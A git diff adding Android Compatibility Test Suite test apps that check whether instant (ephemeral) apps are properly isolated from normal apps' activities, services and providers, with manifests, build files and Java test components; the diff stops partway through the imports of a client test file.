diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/src/com/android/cts/ephemeralapp1/EphemeralActivity3.java b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/src/com/android/cts/ephemeralapp1/EphemeralActivity3.java
new file mode 100644
index 0000000..28734dd
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/src/com/android/cts/ephemeralapp1/EphemeralActivity3.java
@@ -0,0 +1,43 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.ephemeralapp1;
+
+import android.app.Activity;
+import android.content.Intent;
+import android.content.pm.ResolveInfo;
+import android.net.Uri;
+import android.os.Bundle;
+import android.util.Log;
+
+import com.android.cts.util.TestResult;
+
+import java.util.List;
+
+public class EphemeralActivity3 extends Activity {
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+
+        TestResult.getBuilder()
+                .setPackageName("com.android.cts.ephemeralapp1")
+                .setComponentName("EphemeralActivity3")
+                .setStatus("PASS")
+                .build()
+                .broadcast(this);
+        finish();
+    }
+}
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/src/com/android/cts/ephemeralapp1/EphemeralProvider.java b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/src/com/android/cts/ephemeralapp1/EphemeralProvider.java
new file mode 100644
index 0000000..d34d494
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/src/com/android/cts/ephemeralapp1/EphemeralProvider.java
@@ -0,0 +1,73 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.ephemeralapp1;
+
+import android.content.ContentProvider;
+import android.content.ContentResolver;
+import android.content.ContentValues;
+import android.content.UriMatcher;
+import android.database.CharArrayBuffer;
+import android.database.ContentObserver;
+import android.database.Cursor;
+import android.database.DataSetObserver;
+import android.database.MatrixCursor;
+import android.net.Uri;
+import android.os.Bundle;
+
+public class EphemeralProvider extends ContentProvider {
+    private static final UriMatcher sUriMatcher = new UriMatcher(UriMatcher.NO_MATCH);
+    static {
+        sUriMatcher.addURI("com.android.cts.ephemeralapp1.provider", "table", 1);
+    }
+    private static final String[] sColumnNames = { "_ID", "name" };
+    private static final MatrixCursor sCursor = new MatrixCursor(sColumnNames, 1);
+    static {
+        sCursor.newRow().add(1).add("InstantAppProvider");
+    }
+
+    @Override
+    public boolean onCreate() {
+        return true;
+    }
+
+    @Override
+    public Cursor query(Uri uri, String[] projection, String selection, String[] selectionArgs,
+            String sortOrder) {
+        return (sUriMatcher.match(uri) != 1) ? null : sCursor;
+    }
+
+    @Override
+    public String getType(Uri uri) {
+        return null;
+    }
+
+    @Override
+    public Uri insert(Uri uri, ContentValues values) {
+        return null;
+    }
+
+    @Override
+    public int delete(Uri uri, String selection, String[] selectionArgs) {
+        return 0;
+    }
+
+    @Override
+    public int update(Uri uri, ContentValues values, String selection, String[] selectionArgs) {
+        return 0;
+    }
+
+}
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/src/com/android/cts/ephemeralapp1/EphemeralService.java b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/src/com/android/cts/ephemeralapp1/EphemeralService.java
new file mode 100644
index 0000000..d649994
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/src/com/android/cts/ephemeralapp1/EphemeralService.java
@@ -0,0 +1,61 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.ephemeralapp1;
+
+import android.app.Service;
+import android.content.Intent;
+import android.content.pm.PackageInfo;
+import android.content.pm.PackageManager.NameNotFoundException;
+import android.os.Binder;
+import android.os.IBinder;
+import android.os.IInterface;
+import android.os.Parcel;
+import android.os.RemoteException;
+import android.os.ResultReceiver;
+import android.os.ShellCallback;
+import android.util.Log;
+
+import com.android.cts.util.TestResult;
+
+import java.io.FileDescriptor;
+
+public class EphemeralService extends Service {
+
+    @Override
+    public IBinder onBind(Intent intent) {
+        TestResult.getBuilder()
+                .setPackageName("com.android.cts.ephemeralapp1")
+                .setComponentName("EphemeralService")
+                .setMethodName("onBind")
+                .setStatus("PASS")
+                .build()
+                .broadcast(this);
+        return new Binder();
+    }
+
+    @Override
+    public int onStartCommand(Intent intent, int flags, int startId) {
+        TestResult.getBuilder()
+                .setPackageName("com.android.cts.ephemeralapp1")
+                .setComponentName("EphemeralService")
+                .setMethodName("onStartCommand")
+                .setStatus("PASS")
+                .build()
+                .broadcast(this);
+        return super.onStartCommand(intent, flags, startId);
+    }
+}
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/src/com/android/cts/ephemeralapp1/WebViewTest.java b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/src/com/android/cts/ephemeralapp1/WebViewTest.java
new file mode 100644
index 0000000..177583e
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/src/com/android/cts/ephemeralapp1/WebViewTest.java
@@ -0,0 +1,66 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.ephemeralapp1;
+
+import android.content.pm.PackageManager;
+import android.test.ActivityInstrumentationTestCase2;
+import android.test.UiThreadTest;
+
+import android.webkit.WebView;
+import android.webkit.cts.WebViewOnUiThread;
+
+public class WebViewTest extends ActivityInstrumentationTestCase2<WebViewTestActivity> {
+
+    private WebView mWebView;
+    private WebViewOnUiThread mOnUiThread;
+
+    public WebViewTest() {
+        super("com.android.cts.ephemeralapp1", WebViewTestActivity.class);
+    }
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        if (!hasWebViewFeature()) {
+            return;
+        }
+        final WebViewTestActivity activity = getActivity();
+        mWebView = activity.getWebView();
+        mOnUiThread = new WebViewOnUiThread(this, mWebView);
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        if (mOnUiThread != null) {
+            mOnUiThread.cleanUp();
+        }
+        super.tearDown();
+    }
+
+    @UiThreadTest
+    public void testWebViewLoads() throws Exception {
+        // Webview is not supported on Watches
+        if (!hasWebViewFeature()) {
+            return;
+        }
+        mOnUiThread.loadUrlAndWaitForCompletion("about:blank");
+    }
+
+    private boolean hasWebViewFeature() {
+        return getActivity().getPackageManager().hasSystemFeature(PackageManager.FEATURE_WEBVIEW);
+    }
+}
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/src/com/android/cts/ephemeralapp1/WebViewTestActivity.java b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/src/com/android/cts/ephemeralapp1/WebViewTestActivity.java
new file mode 100644
index 0000000..aae2b65
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/src/com/android/cts/ephemeralapp1/WebViewTestActivity.java
@@ -0,0 +1,56 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.ephemeralapp1;
+
+import android.app.Activity;
+import android.os.Bundle;
+import android.view.ViewGroup;
+import android.view.ViewParent;
+import android.webkit.WebView;
+
+import com.android.compatibility.common.util.NullWebViewUtils;
+
+public class WebViewTestActivity extends Activity {
+    private WebView mWebView;
+
+    @Override
+    public void onCreate(Bundle savedInstanceState) {
+        try {
+            super.onCreate(savedInstanceState);
+            mWebView = new WebView(this);
+            setContentView(mWebView);
+        } catch (Exception e) {
+            NullWebViewUtils.determineIfWebViewAvailable(this, e);
+        }
+    }
+
+    public WebView getWebView() {
+        return mWebView;
+    }
+
+    @Override
+    public void onDestroy() {
+        if (mWebView != null) {
+            ViewParent parent =  mWebView.getParent();
+            if (parent instanceof ViewGroup) {
+                ((ViewGroup) parent).removeView(mWebView);
+            }
+            mWebView.destroy();
+        }
+        super.onDestroy();
+    }
+}
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp2/Android.mk b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp2/Android.mk
new file mode 100644
index 0000000..1dd66a6
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp2/Android.mk
@@ -0,0 +1,34 @@
+#
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+
+LOCAL_PATH := $(call my-dir)
+include $(CLEAR_VARS)
+
+LOCAL_MODULE_TAGS := tests
+LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+
+# tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+
+LOCAL_RESOURCE_DIR := $(LOCAL_PATH)/res
+
+LOCAL_PACKAGE_NAME := CtsEphemeralTestsEphemeralApp2
+
+LOCAL_PROGUARD_ENABLED := disabled
+LOCAL_DEX_PREOPT := false
+
+include $(BUILD_CTS_SUPPORT_PACKAGE)
+
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp2/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp2/AndroidManifest.xml
new file mode 100644
index 0000000..78c282b
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp2/AndroidManifest.xml
@@ -0,0 +1,68 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2016 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="com.android.cts.ephemeralapp2"
+    android:targetSandboxVersion="2">
+    <uses-sdk
+        android:minSdkVersion="24" />
+
+    <!-- TEST: exists only for testing ephemeral app1 can't see this app -->
+    <application
+        android:label="@string/app_name">
+        <uses-library android:name="android.test.runner" />
+        <activity
+          android:name=".EphemeralActivity"
+          android:theme="@android:style/Theme.NoDisplay">
+            <intent-filter>
+                <action android:name="android.intent.action.VIEW" />
+                <category android:name="android.intent.category.DEFAULT" />
+                <category android:name="android.intent.category.BROWSABLE" />
+                <data android:scheme="https" />
+                <data android:host="cts.google.com" />
+                <data android:path="/other" />
+            </intent-filter>
+            <intent-filter android:priority="0">
+                <action android:name="com.android.cts.ephemeraltest.QUERY" />
+                <category android:name="android.intent.category.DEFAULT" />
+            </intent-filter>
+            <intent-filter android:priority="0">
+                <action android:name="com.android.cts.ephemeraltest.START_EPHEMERAL" />
+                <category android:name="android.intent.category.DEFAULT" />
+            </intent-filter>
+        </activity>
+
+        <!-- This should still not be visible to other Instant Apps -->
+        <activity
+            android:name=".ExposedActivity"
+            android:visibleToInstantApps="true"
+            android:theme="@android:style/Theme.NoDisplay" />
+
+        <!-- This should still not be visible to other Instant Apps -->
+        <provider
+            android:name=".EphemeralProvider"
+            android:authorities="com.android.cts.ephemeralapp2.provider"
+            android:exported="true">
+            <intent-filter android:priority="0">
+                <action android:name="com.android.cts.ephemeraltest.QUERY" />
+            </intent-filter>
+        </provider>
+    </application>
+
+    <instrumentation
+        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:targetPackage="com.android.cts.ephemeralapp2" />
+</manifest>
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp2/res/values/strings.xml b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp2/res/values/strings.xml
new file mode 100644
index 0000000..104ce06
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp2/res/values/strings.xml
@@ -0,0 +1,18 @@
+<!-- Copyright (C) 2016 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<resources>
+  <string name="app_name">EphemeralApp2</string>
+</resources>
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/ImplicitlyExposedApp/Android.mk b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/ImplicitlyExposedApp/Android.mk
new file mode 100644
index 0000000..453dbcb
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/ImplicitlyExposedApp/Android.mk
@@ -0,0 +1,37 @@
+#
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+
+LOCAL_PATH := $(call my-dir)
+include $(CLEAR_VARS)
+
+LOCAL_MODULE_TAGS := tests
+LOCAL_STATIC_JAVA_LIBRARIES := \
+    cts-aia-util \
+    android-support-test \
+    legacy-android-test
+
+# tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+LOCAL_RESOURCE_DIR := $(LOCAL_PATH)/res
+
+LOCAL_PACKAGE_NAME := CtsEphemeralTestsImplicitApp
+
+LOCAL_PROGUARD_ENABLED := disabled
+LOCAL_DEX_PREOPT := false
+
+include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/ImplicitlyExposedApp/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/ImplicitlyExposedApp/AndroidManifest.xml
new file mode 100644
index 0000000..f202a0a
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/ImplicitlyExposedApp/AndroidManifest.xml
@@ -0,0 +1,43 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="com.android.cts.implicitapp">
+    <uses-sdk
+        android:minSdkVersion="24" />
+
+    <application
+        android:label="@string/app_name">
+        <uses-library android:name="android.test.runner" />
+        <activity
+            android:name=".ImplicitActivity"
+            android:theme="@android:style/Theme.NoDisplay">
+            <!-- TEST: implicitly exposes this activity to instant apps -->
+            <intent-filter>
+                <action android:name="android.intent.action.VIEW" />
+                <category android:name="android.intent.category.DEFAULT" />
+                <category android:name="android.intent.category.BROWSABLE" />
+                <data android:scheme="https" />
+                <data android:host="cts.google.com" />
+                <data android:path="/implicit" />
+            </intent-filter>
+        </activity>
+    </application>
+
+    <instrumentation
+        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:targetPackage="com.android.cts.implicitapp" />
+</manifest>
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/ImplicitlyExposedApp/res/values/strings.xml b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/ImplicitlyExposedApp/res/values/strings.xml
new file mode 100644
index 0000000..90393aa
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/ImplicitlyExposedApp/res/values/strings.xml
@@ -0,0 +1,18 @@
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<resources>
+  <string name="app_name">ImplicitlyExposedApp</string>
+</resources>
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/ImplicitlyExposedApp/src/com/android/cts/implicitapp/ImplicitActivity.java b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/ImplicitlyExposedApp/src/com/android/cts/implicitapp/ImplicitActivity.java
new file mode 100644
index 0000000..feffd84
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/ImplicitlyExposedApp/src/com/android/cts/implicitapp/ImplicitActivity.java
@@ -0,0 +1,63 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.implicitapp;
+
+import android.app.Activity;
+import android.content.Intent;
+import android.content.pm.PackageInfo;
+import android.content.pm.ResolveInfo;
+import android.content.pm.PackageManager.NameNotFoundException;
+import android.net.Uri;
+import android.os.Bundle;
+import android.util.Log;
+
+import com.android.cts.util.TestResult;
+
+import java.io.PrintWriter;
+import java.io.StringWriter;
+import java.util.List;
+
+public class ImplicitActivity extends Activity {
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+
+        boolean canAccessInstantApp = false;
+        String exception = null;
+        try {
+            canAccessInstantApp = tryAccessingInstantApp();
+        } catch (Throwable t) {
+            exception = t.getClass().getName();
+        }
+
+        TestResult.getBuilder()
+                .setPackageName("com.android.cts.implicitapp")
+                .setComponentName("ImplicitActivity")
+                .setStatus("PASS")
+                .setException(exception)
+                .setEphemeralPackageInfoExposed(canAccessInstantApp)
+                .build()
+                .broadcast(this);
+        finish();
+    }
+
+    private boolean tryAccessingInstantApp() throws NameNotFoundException {
+        final PackageInfo info = getPackageManager()
+                .getPackageInfo("com.android.cts.ephemeralapp1", 0 /*flags*/);
+        return (info != null);
+    }
+}
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/NormalApp/Android.mk b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/NormalApp/Android.mk
new file mode 100644
index 0000000..4cd5d79
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/NormalApp/Android.mk
@@ -0,0 +1,37 @@
+#
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+
+LOCAL_PATH := $(call my-dir)
+include $(CLEAR_VARS)
+
+LOCAL_MODULE_TAGS := tests
+LOCAL_STATIC_JAVA_LIBRARIES := \
+    cts-aia-util \
+    android-support-test \
+    legacy-android-test
+
+# tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+LOCAL_RESOURCE_DIR := $(LOCAL_PATH)/res
+
+LOCAL_PACKAGE_NAME := CtsEphemeralTestsNormalApp
+
+LOCAL_PROGUARD_ENABLED := disabled
+LOCAL_DEX_PREOPT := false
+
+include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/NormalApp/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/NormalApp/AndroidManifest.xml
new file mode 100644
index 0000000..4c27dba
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/NormalApp/AndroidManifest.xml
@@ -0,0 +1,118 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2016 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="com.android.cts.normalapp">
+    <uses-sdk
+        android:minSdkVersion="24" />
+
+    <application
+        android:label="@string/app_name">
+        <uses-library android:name="android.test.runner" />
+        <activity
+            android:name=".NormalActivity"
+            android:theme="@android:style/Theme.NoDisplay">
+            <!-- TEST: ephemeral apps can't see this activity using query methods -->
+            <intent-filter android:priority="-20">
+                <action android:name="com.android.cts.ephemeraltest.QUERY" />
+                <category android:name="android.intent.category.DEFAULT" />
+            </intent-filter>
+            <!-- TEST: ephemeral apps can't start this activity using directed intent -->
+            <intent-filter>
+                <action android:name="com.android.cts.ephemeraltest.START_NORMAL" />
+                <category android:name="android.intent.category.DEFAULT" />
+            </intent-filter>
+        </activity>
+        <activity
+            android:name=".NormalWebActivity"
+            android:theme="@android:style/Theme.NoDisplay">
+            <!-- TEST: implicitly exposes this activity to ephemeral apps -->
+            <intent-filter>
+                <action android:name="android.intent.action.VIEW" />
+                <category android:name="android.intent.category.DEFAULT" />
+                <category android:name="android.intent.category.BROWSABLE" />
+                <data android:scheme="https" />
+                <data android:host="cts.google.com" />
+                <data android:path="/normal" />
+            </intent-filter>
+        </activity>
+        <activity
+            android:name=".ExposedActivity"
+            android:visibleToInstantApps="true"
+            android:theme="@android:style/Theme.NoDisplay">
+          <!-- TEST: ephemeral apps can see this activity using query methods -->
+            <intent-filter android:priority="-10">
+                <action android:name="com.android.cts.ephemeraltest.QUERY" />
+                <category android:name="android.intent.category.DEFAULT" />
+            </intent-filter>
+            <!-- TEST: ephemeral apps can start this activity using directed intent -->
+            <intent-filter android:priority="-10">
+                <action android:name="com.android.cts.ephemeraltest.START_EXPOSED" />
+                <category android:name="android.intent.category.DEFAULT" />
+            </intent-filter>
+        </activity>
+
+        <service
+            android:name=".NormalService">
+            <!-- TEST: ephemeral apps can't see this service using query methods -->
+            <intent-filter android:priority="-20">
+                <action android:name="com.android.cts.ephemeraltest.QUERY" />
+                <category android:name="android.intent.category.DEFAULT" />
+            </intent-filter>
+            <!-- TEST: ephemeral apps can't start this service using directed intent -->
+            <intent-filter>
+                <action android:name="com.android.cts.ephemeraltest.START_NORMAL" />
+                <category android:name="android.intent.category.DEFAULT" />
+            </intent-filter>
+        </service>
+        <service
+            android:name=".ExposedService"
+            android:visibleToInstantApps="true">
+            <!-- TEST: ephemeral apps can see this service using query methods -->
+            <intent-filter android:priority="-10">
+                <action android:name="com.android.cts.ephemeraltest.QUERY" />
+                <category android:name="android.intent.category.DEFAULT" />
+            </intent-filter>
+            <!-- TEST: ephemeral apps can start this service using directed intent -->
+            <intent-filter android:priority="-10">
+                <action android:name="com.android.cts.ephemeraltest.START_EXPOSED" />
+                <category android:name="android.intent.category.DEFAULT" />
+            </intent-filter>
+        </service>
+
+        <provider
+            android:name=".NormalProvider"
+            android:authorities="com.android.cts.normalapp.provider"
+            android:exported="true">
+            <intent-filter android:priority="-20">
+                <action android:name="com.android.cts.ephemeraltest.QUERY" />
+            </intent-filter>
+        </provider>
+        <provider
+            android:name=".ExposedProvider"
+            android:authorities="com.android.cts.normalapp.exposed.provider"
+            android:visibleToInstantApps="true"
+            android:exported="true">
+            <intent-filter android:priority="-10">
+                <action android:name="com.android.cts.ephemeraltest.QUERY" />
+            </intent-filter>
+        </provider>
+    </application>
+
+    <instrumentation
+        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:targetPackage="com.android.cts.normalapp" />
+</manifest>
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/NormalApp/res/values/strings.xml b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/NormalApp/res/values/strings.xml
new file mode 100644
index 0000000..260ec0c
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/NormalApp/res/values/strings.xml
@@ -0,0 +1,18 @@
+<!-- Copyright (C) 2016 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<resources>
+  <string name="app_name">NormalApp</string>
+</resources>
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/NormalApp/src/com/android/cts/normalapp/ClientTest.java b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/NormalApp/src/com/android/cts/normalapp/ClientTest.java
new file mode 100644
index 0000000..cd5ac0e
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/NormalApp/src/com/android/cts/normalapp/ClientTest.java
@@ -0,0 +1,446 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.normalapp;
+
+import static org.hamcrest.CoreMatchers.is;
+import static org.hamcrest.CoreMatchers.notNullValue;
+import static org.hamcrest.CoreMatchers.nullValue;
+import static org.junit.Assert.assertThat;
+import static org.junit.Assert.fail;
+
+import android.content.ActivityNotFoundException;
+import android.content.BroadcastReceiver;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.content.pm.ResolveInfo;
+import android.database.Cursor;
+import android.net.Uri;
